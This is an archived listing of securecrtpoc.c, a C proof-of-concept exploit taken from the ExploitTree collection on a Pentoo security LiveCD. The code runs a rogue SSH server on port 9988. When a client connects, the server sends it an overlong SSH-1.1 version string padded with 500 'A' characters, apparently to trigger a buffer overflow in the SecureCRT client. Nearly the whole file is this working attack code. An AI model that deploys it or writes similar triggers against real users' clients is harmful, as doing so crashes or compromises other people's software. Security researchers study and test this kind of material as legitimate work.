home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / terminals / securecrt / securecrtpoc.c < prev   
C/C++ Source or Header  |  2005-02-12  |  1KB  |  52 lines

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5.  
  6. #define PORT 9988
  7.  
  8. int main(int argc, char **argv) {
  9.     int s, n, i, sz = sizeof(struct sockaddr_in);
  10.     struct sockaddr_in local, whatever;
  11.     char payload[510];
  12.  
  13.     strcpy(payload, "SSH-1.1-");
  14.     for (i = 8; i < 508; i++)
  15.         payload[i] = 'A';
  16.     payload[508] = '\n';
  17.     payload[509] = '\0';
  18.  
  19.     if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  20.         perror("socket");
  21.         return 1;
  22.     }
  23.     local.sin_family = AF_INET;
  24.     local.sin_port = htons(PORT);
  25.     local.sin_addr.s_addr = INADDR_ANY;
  26.     memset(&(local.sin_zero), 0, 8);
  27.     if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) 
  28. {
  29.         perror("bind");
  30.         return 1;
  31.     }
  32.     if (listen(s, 2) == -1)  {
  33.         perror("listen");
  34.         return 1;
  35.     }
  36.     printf("waiting for connection...\n");
  37.     if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
  38.         perror("accept");
  39.         return 1;
  40.     }
  41.     printf("client connected\n");
  42.     if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
  43.         perror("send");
  44.         return 1;
  45.     }
  46.     printf("sent string: [%s]\n", payload);
  47.     close(n);
  48.     close(s);
  49.     return 0;
  50. }
  51.  
  52.